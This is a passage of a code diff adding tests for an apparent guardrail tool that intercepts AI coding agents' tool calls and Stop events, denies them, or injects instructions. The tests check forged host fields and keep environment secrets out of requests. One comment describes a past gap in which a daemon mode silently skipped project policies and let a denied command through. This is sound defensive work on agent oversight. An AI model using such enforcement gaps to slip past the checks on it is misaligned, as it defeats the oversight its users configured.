the plain blocked + // message with the "stop" noun, not the MANDATORY wording. + hermes: { + denyPreToolUse: deny(`{"decision":"block","reason":"${BLOCKED_BASH}"}`), + denyStop: deny(`{"decision":"block","reason":"${BLOCKED_STOP}"}`), + instructUserPromptSubmit: instruct( + `{"decision":"allow","reason":"${INSTRUCTION}"}`, + INSTRUCT_NOTE, + ), + silentAllow: SILENT_ALLOW, + }, + // OpenClaw: flat {permission,reason}; Stop maps to {action:"revise"} in the + // shim, so it carries the MANDATORY wording. + openclaw: { + denyPreToolUse: deny(`{"permission":"deny","reason":"${BLOCKED_BASH}"}`), + denyStop: deny(`{"permission":"deny","reason":${JSON.stringify(MANDATORY_DENY)}}`), + instructUserPromptSubmit: instruct( + `{"permission":"allow","reason":"${INSTRUCTION}"}`, + INSTRUCT_NOTE, + ), + silentAllow: SILENT_ALLOW, + }, + // Factory droid: blocking is exit 2 + stderr on every event EXCEPT Stop, + // where exit-2 is not a force-retry and JSON is. + factory: { + denyPreToolUse: deny("", 2, BLOCKED_BASH + "\n"), + denyStop: deny(`{"decision":"block","reason":${JSON.stringify(MANDATORY_DENY)}}`), + instructUserPromptSubmit: DEGRADED_INSTRUCT, + silentAllow: SILENT_ALLOW, + }, + // Devin: {decision:"block"} at exit 0 for every event; instruct falls + // through to the generic Claude additionalContext path. + devin: { + denyPreToolUse: deny(`{"decision":"block","reason":"${BLOCKED_BASH}"}`), + denyStop: deny(`{"decision":"block","reason":${JSON.stringify(MANDATORY_DENY)}}`), + instructUserPromptSubmit: CLAUDE_INSTRUCT_PROMPT, + silentAllow: SILENT_ALLOW, + }, + // Antigravity: its own verbs — "deny" to block, "continue" to re-enter the + // loop, and injectSteps for prompt-time instruction. + antigravity: { + denyPreToolUse: deny(`{"decision":"deny","reason":"${BLOCKED_BASH}"}`), + denyStop: deny(`{"decision":"continue","reason":${JSON.stringify(MANDATORY_DENY)}}`), + instructUserPromptSubmit: instruct( + `{"injectSteps":[{"ephemeralMessage":"${INSTRUCTION}"}]}`, + ), + silentAllow: SILENT_ALLOW, + }, + // Goose: one {decision:"block"} shape (honored on PreToolUse only) and no + // Stop event, so a Stop deny gets the "stop" noun like Hermes. + goose: { + denyPreToolUse: deny(`{"decision":"block","reason":"${BLOCKED_BASH}"}`), + denyStop: deny(`{"decision":"block","reason":"${BLOCKED_STOP}"}`), + instructUserPromptSubmit: DEGRADED_INSTRUCT, + silentAllow: SILENT_ALLOW, + }, +}; + +describe("hooks/encode-response", () => { + it("covers every integration in INTEGRATION_TYPES", () => { + // Derived, never hardcoded: adding a CLI without adding its response + // matrix must fail here rather than ship an unencoded verdict. + expect(Object.keys(MATRIX).sort()).toEqual([...INTEGRATION_TYPES].sort()); + expect(Object.keys(MATRIX)).toHaveLength(INTEGRATION_TYPES.length); + }); + + describe.each([...INTEGRATION_TYPES])("%s", (cli) => { + const expected = MATRIX[cli]; + + it("encodes a PreToolUse deny", () => { + expect(wire(encodeResponse(denyVerdicts("Bash"), "PreToolUse", session(cli)))).toEqual( + expected.denyPreToolUse, + ); + }); + + it("encodes a Stop deny", () => { + // No tool_name on a Stop payload, so the deny noun comes from the event. + expect(wire(encodeResponse(denyVerdicts(undefined), "Stop", session(cli)))).toEqual( + expected.denyStop, + ); + }); + + it("encodes a UserPromptSubmit instruct", () => { + const result = encodeResponse(instructVerdicts(undefined), "UserPromptSubmit", session(cli)); + expect(wire(result)).toEqual(expected.instructUserPromptSubmit); + expect(result.policyNames).toEqual([POLICY]); + }); + + it("encodes a silent allow", () => { + expect(wire(encodeResponse(silentAllowVerdicts("Bash"), "PreToolUse", session(cli)))).toEqual( + expected.silentAllow, + ); + }); + }); + + it("falls back to the Claude shapes when no session cli is known", () => { + expect(wire(encodeResponse(denyVerdicts("Bash"), "PreToolUse"))).toEqual(CLAUDE_DENY_PRETOOLUSE); + expect(wire(encodeResponse(denyVerdicts(undefined), "Stop"))).toEqual(CLAUDE_DENY_STOP); + expect(wire(encodeResponse(instructVerdicts(undefined), "UserPromptSubmit"))).toEqual( + CLAUDE_INSTRUCT_PROMPT, + ); + }); + + it("returns the silent allow when no policy matched at all", () => { + // matchedCount 0 is the zero-policy early return: identical bytes to a run + // where every policy allowed without a message, on every CLI. + const empty: VerdictSet = { + deny: null, + instructEntries: [], + allowEntries: [], + matchedCount: 0, + toolName: "Bash", + }; + for (const cli of INTEGRATION_TYPES) { + expect(wire(encodeResponse(empty, "PreToolUse", session(cli)))).toEqual(SILENT_ALLOW); + } + expect(wire(encodeResponse(empty, "PreToolUse"))).toEqual(SILENT_ALLOW); + }); + + it("picks the deny noun from the event when there is no tool name", () => { + // Tool events name the tool; non-tool events get an event-appropriate + // noun so the message is never "Blocked unknown tool by failproofai". + const nouns: Array<[string, string]> = [ + ["UserPromptSubmit", "prompt"], + ["SessionStart", "session start"], + ["SessionEnd", "session end"], + ["PreCompact", "operation"], + ]; + for (const [eventType, noun] of nouns) { + const result = encodeResponse( + denyVerdicts(undefined), + eventType as Parameters[1], + session("hermes"), + ); + expect(result.stdout).toBe( + `{"decision":"block","reason":"Blocked ${noun} by failproofai because: ${DENY_REASON}, as per the policy configured by the user"}`, + ); + } + // A tool name always wins over the event-derived noun. + const withTool = encodeResponse(denyVerdicts("Write"), "Stop", session("hermes")); + expect(withTool.stdout).toBe( + `{"decision":"block","reason":"Blocked Write by failproofai because: ${DENY_REASON}, as per the policy configured by the user"}`, + ); + }); + + it("merges several verdict sets into one encoded response", () => { + // The reason the seam exists: verdicts accumulated from more than one + // evaluation pass encode as if they had come from a single loop. + const merged: VerdictSet = { + deny: null, + instructEntries: [ + { policyName: "sealed/one", reason: "first" }, + { policyName: "user/two", reason: "second" }, + ], + allowEntries: [], + matchedCount: 2, + }; + const result = encodeResponse(merged, "UserPromptSubmit", session("claude")); + expect(result.stdout).toBe( + '{"hookSpecificOutput":{"hookEventName":"UserPromptSubmit","additionalContext":"Instruction from failproofai: first\\nsecond"}}', + ); + expect(result.policyName).toBe("sealed/one"); + expect(result.policyNames).toEqual(["sealed/one", "user/two"]); + expect(result.reason).toBe("first\nsecond"); + + // A deny in either set still short-circuits the encoded response. + const withDeny: VerdictSet = { ...merged, deny: { policyName: "sealed/one", reason: DENY_REASON } }; + expect(wire(encodeResponse(withDeny, "PreToolUse", session("claude")))).toEqual({ + ...CLAUDE_DENY_PRETOOLUSE, + stdout: `{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"Blocked operation by failproofai because: ${DENY_REASON}, as per the policy configured by the user"}}`, + policyName: "sealed/one", + }); + }); + + it("carries allow-with-reason notes only where there is a channel for them", () => { + const notes: VerdictSet = { + deny: null, + instructEntries: [], + allowEntries: [{ policyName: POLICY, reason: "fyi" }], + matchedCount: 1, + toolName: "Bash", + }; + const preToolUse = encodeResponse(notes, "PreToolUse", session("claude")); + expect(preToolUse.stdout).toBe( + '{"hookSpecificOutput":{"hookEventName":"PreToolUse","additionalContext":"Note from failproofai: fyi"}}', + ); + expect(preToolUse.stderr).toBe(`[failproofai] ${POLICY}: fyi\n`); + + // Stop has no additional-context channel, so the note stays off stdout. + const stop = encodeResponse({ ...notes, toolName: undefined }, "Stop", session("claude")); + expect(stop.stdout).toBe(""); + expect(stop.stderr).toBe(`[failproofai] ${POLICY}: fyi\n`); + expect(stop.decision).toBe("allow"); + }); +}); diff --git a/__tests__/hooks/handler-gate.test.ts b/__tests__/hooks/handler-gate.test.ts new file mode 100644 index 00000000..a4a78b1b --- /dev/null +++ b/__tests__/hooks/handler-gate.test.ts @@ -0,0 +1,117 @@ +/** + * The daemon gate, tested against a real filesystem. + * + * This exists because the previous guard was a source grep. It asserted that + * `handler.ts` contained the string `hasCustomPolicies` and matched a ternary — + * which is true of a gate that covers everything and equally true of one that + * covers nothing. It was green while this bug was live: + * + * a project with `.failproofai/policies/zz-policies.mjs` denying a command + * FAILPROOFAI_DAEMON_MODE unset -> deny (the convention policy fired) + * FAILPROOFAI_DAEMON_MODE=enforce -> allow (silently dropped) + * + * The gate read `customPoliciesPaths` and `customPoliciesPath` only. Convention + * policies are discovered from the filesystem and appear in neither key, so the + * gate saw nothing and let the daemon answer with the builtins alone. The + * `needs_user_context` safety net could not fire either: the sealed worker + * partitions the `enabled_policies` list it was handed, and a convention policy + * is never in that list because it self-registers at load. + * + * So the assertions below are about *behaviour on disk*, not about the shape of + * the source. A grep cannot see a directory. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdirSync, writeFileSync, rmSync } from "node:fs"; +import { resolve } from "node:path"; +import { hasConventionPolicyFiles } from "../../src/hooks/handler-gate"; + +const SCRATCH = resolve(__dirname, "..", "..", "target", "handler-gate-test"); + +/** A project root with a `.failproofai/` marker, as `findProjectConfigDir` expects. */ +function makeProject(name: string): string { + const root = resolve(SCRATCH, name); + mkdirSync(resolve(root, ".failproofai"), { recursive: true }); + return root; +} + +function writePolicyFile(root: string, filename: string): void { + const dir = resolve(root, ".failproofai", "policies"); + mkdirSync(dir, { recursive: true }); + writeFileSync( + resolve(dir, filename), + "import { customPolicies, deny } from 'failproofai';\n" + + "customPolicies.add({ name: 'x', description: '', match: { events: ['PreToolUse'] },\n" + + " fn: async () => deny('no') });\n", + "utf8", + ); +} + +beforeEach(() => { + rmSync(SCRATCH, { recursive: true, force: true }); + mkdirSync(SCRATCH, { recursive: true }); +}); + +afterEach(() => { + rmSync(SCRATCH, { recursive: true, force: true }); +}); + +describe("hasConventionPolicyFiles", () => { + it("finds a project convention policy file", () => { + const root = makeProject("with-policy"); + writePolicyFile(root, "team-policies.mjs"); + expect(hasConventionPolicyFiles(root)).toBe(true); + }); + + it("returns false for a project with no policies directory at all", () => { + // The common case, and the one that must stay cheap and quiet. + expect(hasConventionPolicyFiles(makeProject("bare"))).toBe(false); + }); + + it("returns false when the policies directory exists but is empty", () => { + const root = makeProject("empty-dir"); + mkdirSync(resolve(root, ".failproofai", "policies"), { recursive: true }); + expect(hasConventionPolicyFiles(root)).toBe(false); + }); + + it("ignores a file that does not match the convention suffix", () => { + // The convention is `*policies.{js,mjs,ts}`. A README or a helper module in + // that directory is not a policy file, and treating it as one would send + // every event down the legacy path for no reason. + const root = makeProject("non-policy"); + const dir = resolve(root, ".failproofai", "policies"); + mkdirSync(dir, { recursive: true }); + writeFileSync(resolve(dir, "README.md"), "notes\n", "utf8"); + writeFileSync(resolve(dir, "helpers.mjs"), "export const x = 1;\n", "utf8"); + expect(hasConventionPolicyFiles(root)).toBe(false); + }); + + it("accepts every spelling the convention allows", () => { + for (const [i, name] of ["a-policies.js", "b-policies.mjs", "c-policies.ts"].entries()) { + const root = makeProject(`spelling-${i}`); + writePolicyFile(root, name); + expect(hasConventionPolicyFiles(root), `${name} should count`).toBe(true); + } + }); + + it("finds a policy file in a parent project root, not just the exact cwd", () => { + // `findProjectConfigDir` walks upward, so an agent that has `cd`-ed into a + // subdirectory must still be governed by the project's policies. A gate + // that only looked at the literal cwd would let the daemon answer from any + // subdirectory. + const root = makeProject("nested"); + writePolicyFile(root, "team-policies.mjs"); + const deep = resolve(root, "src", "a", "b"); + mkdirSync(deep, { recursive: true }); + expect(hasConventionPolicyFiles(deep)).toBe(true); + }); + + it("does not throw on a cwd that does not exist", () => { + // The gate runs before anything has validated the session's cwd. Throwing + // here would take down the hook rather than the daemon path. + expect(() => hasConventionPolicyFiles(resolve(SCRATCH, "no-such-dir"))).not.toThrow(); + }); + + it("does not throw on an undefined cwd", () => { + expect(() => hasConventionPolicyFiles(undefined)).not.toThrow(); + }); +}); diff --git a/__tests__/hooks/handler.test.ts b/__tests__/hooks/handler.test.ts index 072020aa..a3f5099b 100644 --- a/__tests__/hooks/handler.test.ts +++ b/__tests__/hooks/handler.test.ts @@ -2,15 +2,18 @@ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; import { handleHookEvent } from "../../src/hooks/handler"; -vi.mock("../../src/hooks/hooks-config", () => ({ +vi.mock("../../src/hooks/hooks-config", async (importOriginal) => ({ + ...(await importOriginal()), readMergedHooksConfig: vi.fn(() => ({ enabledPolicies: ["block-sudo"] })), })); -vi.mock("../../src/hooks/builtin-policies", () => ({ +vi.mock("../../src/hooks/builtin-policies", async (importOriginal) => ({ + ...(await importOriginal()), registerBuiltinPolicies: vi.fn(), })); -vi.mock("../../src/hooks/policy-evaluator", () => ({ +vi.mock("../../src/hooks/policy-evaluator", async (importOriginal) => ({ + ...(await importOriginal()), evaluatePolicies: vi.fn(() => ({ exitCode: 0, stdout: "", @@ -21,7 +24,8 @@ vi.mock("../../src/hooks/policy-evaluator", () => ({ })), })); -vi.mock("../../src/hooks/policy-registry", () => ({ +vi.mock("../../src/hooks/policy-registry", async (importOriginal) => ({ + ...(await importOriginal()), clearPolicies: vi.fn(), registerPolicy: vi.fn(), // handler.ts reads this back after evaluation to record which policies @@ -29,24 +33,29 @@ vi.mock("../../src/hooks/policy-registry", () => ({ getPoliciesForEvent: vi.fn(() => []), })); -vi.mock("../../src/hooks/custom-hooks-loader", () => ({ +vi.mock("../../src/hooks/custom-hooks-loader", async (importOriginal) => ({ + ...(await importOriginal()), loadAllCustomHooks: vi.fn(() => Promise.resolve({ hooks: [], conventionSources: [] })), })); -vi.mock("../../src/hooks/hook-activity-store", () => ({ +vi.mock("../../src/hooks/hook-activity-store", async (importOriginal) => ({ + ...(await importOriginal()), persistHookActivity: vi.fn(), })); -vi.mock("../../src/hooks/hook-telemetry", () => ({ +vi.mock("../../src/hooks/hook-telemetry", async (importOriginal) => ({ + ...(await importOriginal()), trackHookEvent: vi.fn(() => Promise.resolve()), flushHookTelemetry: vi.fn(() => Promise.resolve()), })); -vi.mock("../../lib/telemetry-id", () => ({ +vi.mock("../../lib/telemetry-id", async (importOriginal) => ({ + ...(await importOriginal()), getInstanceId: vi.fn(() => "test-instance-id"), })); -vi.mock("../../src/hooks/hook-logger", () => ({ +vi.mock("../../src/hooks/hook-logger", async (importOriginal) => ({ + ...(await importOriginal()), hookLogInfo: vi.fn(), hookLogWarn: vi.fn(), hookLogError: vi.fn(), diff --git a/__tests__/hooks/llm-client.test.ts b/__tests__/hooks/llm-client.test.ts index a56b1826..01f57d64 100644 --- a/__tests__/hooks/llm-client.test.ts +++ b/__tests__/hooks/llm-client.test.ts @@ -2,7 +2,8 @@ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; // Mock hooks-config before importing llm-client -vi.mock("../../src/hooks/hooks-config", () => ({ +vi.mock("../../src/hooks/hooks-config", async (importOriginal) => ({ + ...(await importOriginal()), readLlmConfig: vi.fn(), })); diff --git a/__tests__/hooks/manager.test.ts b/__tests__/hooks/manager.test.ts index 04e5cd45..516cc7b7 100644 --- a/__tests__/hooks/manager.test.ts +++ b/__tests__/hooks/manager.test.ts @@ -22,7 +22,8 @@ vi.mock("../../src/hooks/install-prompt", () => ({ ), })); -vi.mock("../../src/hooks/hooks-config", () => ({ +vi.mock("../../src/hooks/hooks-config", async (importOriginal) => ({ + ...(await importOriginal()), readHooksConfig: vi.fn(() => ({ enabledPolicies: [] })), // listHooks resolves the project root by walking up to the nearest // `.failproofai` marker, the same way enforcement does. The real function diff --git a/__tests__/hooks/new-telemetry.test.ts b/__tests__/hooks/new-telemetry.test.ts index eb998320..e73838e5 100644 --- a/__tests__/hooks/new-telemetry.test.ts +++ b/__tests__/hooks/new-telemetry.test.ts @@ -60,7 +60,8 @@ vi.mock("../../src/hooks/integrations", () => ({ ), })); -vi.mock("../../src/hooks/hooks-config", () => ({ +vi.mock("../../src/hooks/hooks-config", async (importOriginal) => ({ + ...(await importOriginal()), readHooksConfig: vi.fn(() => ({ enabledPolicies: [] })), readMergedHooksConfig: vi.fn(() => ({ enabledPolicies: [] })), configuredCustomPolicyPaths: vi.fn((config: { customPoliciesPaths?: string[]; customPoliciesPath?: string }) => diff --git a/__tests__/hooks/request-envelope.test.ts b/__tests__/hooks/request-envelope.test.ts new file mode 100644 index 00000000..c480b79d --- /dev/null +++ b/__tests__/hooks/request-envelope.test.ts @@ -0,0 +1,334 @@ +// @vitest-environment node +import { describe, it, expect } from "vitest"; +import { homedir } from "node:os"; + +import { + ENVELOPE_PROTOCOL_VERSION, + ENV_FACT_KEYS, + EnvelopeProtocolError, + HOST_FIELD_NAMES, + assertHostContext, + buildLocalEnvelope, + checkHostContext, + envelopeToSessionMetadata, + sealedUnattested, + selectEnvFacts, + type EvaluationRequest, + type HostFieldName, + type LocalEnvelopeInput, + type UnvalidatedHostContext, +} from "../../src/hooks/request-envelope"; +import { readLocalHostFacts } from "../../src/hooks/local-host"; + +function input(overrides: Partial = {}): LocalEnvelopeInput { + return { + cli: "claude", + eventType: "PreToolUse", + rawEventType: "PreToolUse", + payload: { tool_name: "Bash", tool_input: { command: "ls" } }, + cwd: "/home/u/project", + sessionId: "sess-1", + transcriptPath: "/home/u/.claude/projects/x/sess-1.jsonl", + permissionMode: "default", + hookEventName: "PreToolUse", + host: { home: "/home/u", envFacts: {} }, + ...overrides, + }; +} + +describe("buildLocalEnvelope — provenance labelling", () => { + it("labels `home` as `local` (this process read its own homedir; no boundary crossed)", () => { + const req = buildLocalEnvelope(input()); + expect(req.host.home).toEqual({ value: "/home/u", provenance: "local" }); + }); + + it("never labels `home` `client-asserted` on the local path", () => { + const req = buildLocalEnvelope(input()); + expect(req.host.home.provenance).not.toBe("client-asserted"); + expect(checkHostContext(req.host)).toBeNull(); + }); + + it("labels `cwd` as `client-asserted` (the harness told us; nothing verified it)", () => { + const req = buildLocalEnvelope(input()); + expect(req.host.cwd).toEqual({ value: "/home/u/project", provenance: "client-asserted" }); + }); + + it("labels `projectDir` as `client-asserted`, derived from the CLAUDE_PROJECT_DIR env fact", () => { + const req = buildLocalEnvelope( + input({ host: { home: "/home/u", envFacts: { CLAUDE_PROJECT_DIR: "/home/u/repo" } } }), + ); + expect(req.host.projectDir).toEqual({ + value: "/home/u/repo", + provenance: "client-asserted", + }); + }); + + it("carries an undefined projectDir when CLAUDE_PROJECT_DIR is unset, still client-asserted", () => { + const req = buildLocalEnvelope(input()); + expect(req.host.projectDir.value).toBeUndefined(); + expect(req.host.projectDir.provenance).toBe("client-asserted"); + }); + + it("labels `envFacts` as `client-asserted`", () => { + const req = buildLocalEnvelope( + input({ host: { home: "/home/u", envFacts: { CLAUDE_PROJECT_DIR: "/home/u/repo" } } }), + ); + expect(req.host.envFacts.provenance).toBe("client-asserted"); + expect(req.host.envFacts.value).toEqual({ CLAUDE_PROJECT_DIR: "/home/u/repo" }); + }); + + it("labels every host field the contract enumerates", () => { + const req = buildLocalEnvelope(input()); + for (const field of HOST_FIELD_NAMES) { + expect(req.host[field]).toHaveProperty("provenance"); + } + }); +}); + +describe("buildLocalEnvelope — envelope contents", () => { + it("carries the caller-resolved session fields verbatim", () => { + const req = buildLocalEnvelope(input()); + expect(req.session).toEqual({ + sessionId: "sess-1", + transcriptPath: "/home/u/.claude/projects/x/sess-1.jsonl", + permissionMode: "default", + hookEventName: "PreToolUse", + }); + }); + + it("keeps the canonical and the raw event names separately", () => { + const req = buildLocalEnvelope( + input({ cli: "cursor", eventType: "PreToolUse", rawEventType: "preToolUse" }), + ); + expect(req.eventType).toBe("PreToolUse"); + expect(req.rawEventType).toBe("preToolUse"); + }); + + it("passes the already-canonicalized payload through by reference", () => { + const payload = { tool_name: "Bash" }; + const req = buildLocalEnvelope(input({ payload })); + expect(req.payload).toBe(payload); + }); + + it("stamps the protocol version", () => { + expect(buildLocalEnvelope(input()).protocolVersion).toBe(ENVELOPE_PROTOCOL_VERSION); + }); +}); + +describe("client-asserted `home` is a protocol error", () => { + const forged: UnvalidatedHostContext = { + home: { value: "/", provenance: "client-asserted" }, + cwd: { value: "/home/u/project", provenance: "client-asserted" }, + projectDir: { value: undefined, provenance: "client-asserted" }, + envFacts: { value: {}, provenance: "client-asserted" }, + }; + + it("checkHostContext reports it instead of accepting it", () => { + const violation = checkHostContext(forged); + expect(violation).toBeInstanceOf(EnvelopeProtocolError); + expect(violation?.code).toBe("client_asserted_home"); + expect(violation?.field).toBe("home"); + }); + + it("assertHostContext throws EnvelopeProtocolError", () => { + expect(() => assertHostContext(forged)).toThrow(EnvelopeProtocolError); + expect(() => assertHostContext(forged)).toThrow(/client-asserted home/i); + }); + + it("accepts a daemon-derived home", () => { + const host: UnvalidatedHostContext = { + ...forged, + home: { value: "/home/u", provenance: "daemon-derived" }, + }; + expect(checkHostContext(host)).toBeNull(); + expect(() => assertHostContext(host)).not.toThrow(); + }); + + it("accepts a locally read home", () => { + const host: UnvalidatedHostContext = { + ...forged, + home: { value: "/home/u", provenance: "local" }, + }; + expect(checkHostContext(host)).toBeNull(); + expect(() => assertHostContext(host)).not.toThrow(); + }); +}); + +describe("sealedUnattested", () => { + const host = buildLocalEnvelope(input()).host; + + it("is false when the decision read no host field at all (e.g. block-sudo)", () => { + expect(sealedUnattested(host, [])).toBe(false); + }); + + it("is false when the decision read only attested fields (home)", () => { + expect(sealedUnattested(host, ["home"])).toBe(false); + }); + + it("is true when the decision read cwd (block-read-outside-cwd)", () => { + expect(sealedUnattested(host, ["cwd"])).toBe(true); + }); + + it("is true when the decision read projectDir", () => { + expect(sealedUnattested(host, ["projectDir"])).toBe(true); + }); + + it("is true when the decision read envFacts", () => { + expect(sealedUnattested(host, ["envFacts"])).toBe(true); + }); + + it("is true when a mixed read touches one client-asserted field", () => { + expect(sealedUnattested(host, ["home", "cwd"])).toBe(true); + }); + + it("is exactly `read set intersects client-asserted set` across every field", () => { + const clientAsserted = new Set(["cwd", "projectDir", "envFacts"]); + for (const field of HOST_FIELD_NAMES) { + expect(sealedUnattested(host, [field])).toBe(clientAsserted.has(field)); + } + }); + + it("is false for a daemon-derived home read", () => { + const daemonHost: UnvalidatedHostContext = { + ...host, + home: { value: "/home/u", provenance: "daemon-derived" }, + }; + expect(sealedUnattested(daemonHost, ["home"])).toBe(false); + }); + + it("fails toward unattested when a forged home reaches it unvalidated", () => { + const forgedHost: UnvalidatedHostContext = { + ...host, + home: { value: "/", provenance: "client-asserted" }, + }; + expect(sealedUnattested(forgedHost, ["home"])).toBe(true); + }); +}); + +describe("selectEnvFacts — the env-fact set is closed", () => { + it("carries an enumerated key", () => { + expect(selectEnvFacts({ CLAUDE_PROJECT_DIR: "/repo" })).toEqual({ + CLAUDE_PROJECT_DIR: "/repo", + }); + }); + + it("does not carry an unlisted env var", () => { + const facts = selectEnvFacts({ + CLAUDE_PROJECT_DIR: "/repo", + AWS_SECRET_ACCESS_KEY: "shhh", + PATH: "/usr/bin", + HOME: "/home/u", + }); + expect(facts).toEqual({ CLAUDE_PROJECT_DIR: "/repo" }); + expect(Object.keys(facts)).toEqual(["CLAUDE_PROJECT_DIR"]); + }); + + it("never carries a key outside ENV_FACT_KEYS, whatever the environment", () => { + const facts = selectEnvFacts({ FOO: "1", BAR: "2", BAZ: "3" }); + expect(Object.keys(facts)).toEqual([]); + for (const key of Object.keys(selectEnvFacts(process.env))) { + expect(ENV_FACT_KEYS as readonly string[]).toContain(key); + } + }); + + it("drops an exported-but-empty variable rather than carrying an empty path", () => { + expect(selectEnvFacts({ CLAUDE_PROJECT_DIR: "" })).toEqual({}); + }); + + it("keeps an unlisted var out of the built envelope's envFacts too", () => { + const req = buildLocalEnvelope( + input({ + host: { + home: "/home/u", + envFacts: selectEnvFacts({ CLAUDE_PROJECT_DIR: "/repo", GITHUB_TOKEN: "ghp_x" }), + }, + }), + ); + expect(req.host.envFacts.value).toEqual({ CLAUDE_PROJECT_DIR: "/repo" }); + }); +}); + +describe("readLocalHostFacts", () => { + it("reads home from the process and env facts through the closed set", () => { + const facts = readLocalHostFacts(); + expect(facts.home).toBe(homedir()); + for (const key of Object.keys(facts.envFacts)) { + expect(ENV_FACT_KEYS as readonly string[]).toContain(key); + } + }); +}); + +describe("envelopeToSessionMetadata — the legacy bridge", () => { + it("projects the SessionMetadata fields handler.ts built by hand, plus the P2 host pair", () => { + const req = buildLocalEnvelope(input({ cli: "cursor", rawEventType: "preToolUse" })); + expect(envelopeToSessionMetadata(req)).toEqual({ + sessionId: "sess-1", + transcriptPath: "/home/u/.claude/projects/x/sess-1.jsonl", + cwd: "/home/u/project", + permissionMode: "default", + hookEventName: "PreToolUse", + rawHookEventName: "preToolUse", + cli: "cursor", + // P2: host context travels as request data on both paths, so a policy + // never reaches for `os.homedir()` or `process.env` itself. + home: "/home/u", + projectDir: undefined, + }); + }); + + it("carries projectDir through when the CLAUDE_PROJECT_DIR env fact is present", () => { + const req = buildLocalEnvelope( + input({ host: { home: "/home/u", envFacts: { CLAUDE_PROJECT_DIR: "/srv/repo" } } }), + ); + expect(envelopeToSessionMetadata(req).projectDir).toBe("/srv/repo"); + }); + + it("normalises a blank projectDir to undefined, preserving the pre-P2 falsy check", () => { + // `block-read-outside-cwd` read `process.env.CLAUDE_PROJECT_DIR || cwd`, so + // an env var set to the empty string fell through to cwd. Projecting `""` + // here would resurrect it as a truthy-looking field and change that. + const req = buildLocalEnvelope( + input({ host: { home: "/home/u", envFacts: { CLAUDE_PROJECT_DIR: "" } } }), + ); + expect(envelopeToSessionMetadata(req).projectDir).toBeUndefined(); + }); + + it("preserves undefined session fields as undefined (empty payload case)", () => { + const req = buildLocalEnvelope({ + cli: "claude", + eventType: "PreToolUse", + rawEventType: "PreToolUse", + payload: {}, + permissionMode: "default", + host: { home: "/home/u", envFacts: {} }, + }); + const session = envelopeToSessionMetadata(req); + expect(session.sessionId).toBeUndefined(); + expect(session.transcriptPath).toBeUndefined(); + expect(session.cwd).toBeUndefined(); + expect(session.hookEventName).toBeUndefined(); + expect(session.permissionMode).toBe("default"); + }); + + it("projects values only — no provenance labels leak into the legacy shape", () => { + // `SessionMetadata` is what every policy sees, and it is deliberately dumb: + // plain values, no `{value, provenance}` wrappers. Provenance stays on the + // envelope, where `sealedUnattested` reads it. + const req: EvaluationRequest = buildLocalEnvelope(input()); + const session = envelopeToSessionMetadata(req); + expect(Object.keys(session).sort()).toEqual([ + "cli", + "cwd", + "home", + "hookEventName", + "permissionMode", + "projectDir", + "rawHookEventName", + "sessionId", + "transcriptPath", + ]); + for (const value of Object.values(session)) { + expect(value === undefined || typeof value === "string").toBe(true); + } + }); +}); diff --git a/__tests__/hooks/resolve-permission-mode.test.ts b/__tests__/hooks/resolve-permission-mode.test.ts new file mode 100644 index 00000000..63c37abf --- /dev/null +++ b/__tests__/hooks/resolve-permission-mode.test.ts @@ -0,0 +1,176 @@ +// @vitest-environment node +import { describe, it, expect, vi, beforeEach, afterAll } from "vitest"; +import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +vi.mock("../../lib/codex-sessions", () => ({ + findCodexTranscript: vi.fn(), +})); + +import { + resolvePermissionMode, + CODEX_MODE_SCAN_MAX_BYTES, + CODEX_MODE_SCAN_MAX_LINES, +} from "../../src/hooks/resolve-permission-mode"; +import { findCodexTranscript } from "../../lib/codex-sessions"; +import type { IntegrationType } from "../../src/hooks/types"; + +const dir = mkdtempSync(join(tmpdir(), "fpai-codex-mode-")); +let fileSeq = 0; + +/** Write a transcript and point findCodexTranscript at it. */ +function transcript(lines: string[]): string { + const path = join(dir, `rollout-${fileSeq++}.jsonl`); + writeFileSync(path, lines.join("\n") + "\n"); + vi.mocked(findCodexTranscript).mockReturnValue(path); + return path; +} + +const turnContext = (approvalPolicy: string) => + JSON.stringify({ type: "turn_context", payload: { approval_policy: approvalPolicy } }); + +const sessionMeta = JSON.stringify({ type: "session_meta", payload: { cwd: "/repo" } }); + +/** A filler record of roughly `bytes` length that never contains "turn_context". */ +function filler(bytes: number): string { + const shell = JSON.stringify({ type: "event_msg", payload: { text: "" } }); + return JSON.stringify({ + type: "event_msg", + payload: { text: "x".repeat(Math.max(1, bytes - shell.length)) }, + }); +} + +afterAll(() => { + rmSync(dir, { recursive: true, force: true }); +}); + +beforeEach(() => { + vi.clearAllMocks(); +}); + +describe("resolvePermissionMode — non-Codex CLIs", () => { + it("claude reads permission_mode straight off stdin", () => { + expect(resolvePermissionMode("claude", { permission_mode: "plan" }, "s")).toBe("plan"); + }); + + it("claude falls back to default when stdin omits it", () => { + expect(resolvePermissionMode("claude", {}, "s")).toBe("default"); + }); + + const others: IntegrationType[] = ["copilot", "cursor", "opencode", "pi"]; + it.each(others)("%s falls back to default and never touches the disk", (cli) => { + expect(resolvePermissionMode(cli, {}, "s")).toBe("default"); + expect(findCodexTranscript).not.toHaveBeenCalled(); + }); + + it("codex without a sessionId falls back to default without discovery", () => { + expect(resolvePermissionMode("codex", {}, undefined)).toBe("default"); + expect(findCodexTranscript).not.toHaveBeenCalled(); + }); + + it("codex falls back to default when no transcript is found", () => { + vi.mocked(findCodexTranscript).mockReturnValue(null); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("default"); + }); + + it("codex falls back to default when the transcript path does not exist", () => { + vi.mocked(findCodexTranscript).mockReturnValue(join(dir, "does-not-exist.jsonl")); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("default"); + }); +}); + +describe("resolvePermissionMode — Codex turn_context mapping", () => { + it("maps approval_policy never → full-auto", () => { + transcript([sessionMeta, turnContext("never")]); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("full-auto"); + }); + + it("maps approval_policy on-request → default", () => { + transcript([sessionMeta, turnContext("on-request")]); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("default"); + }); + + it("passes an unrecognized approval_policy through verbatim", () => { + transcript([sessionMeta, turnContext("untrusted")]); + expect(resolvePermissionMode("codex", {}, "sess-codex")).toBe("untrusted"); + }); + + it("skips malformed JSON lines without crashing", () => { + transcript(["not json but mentions 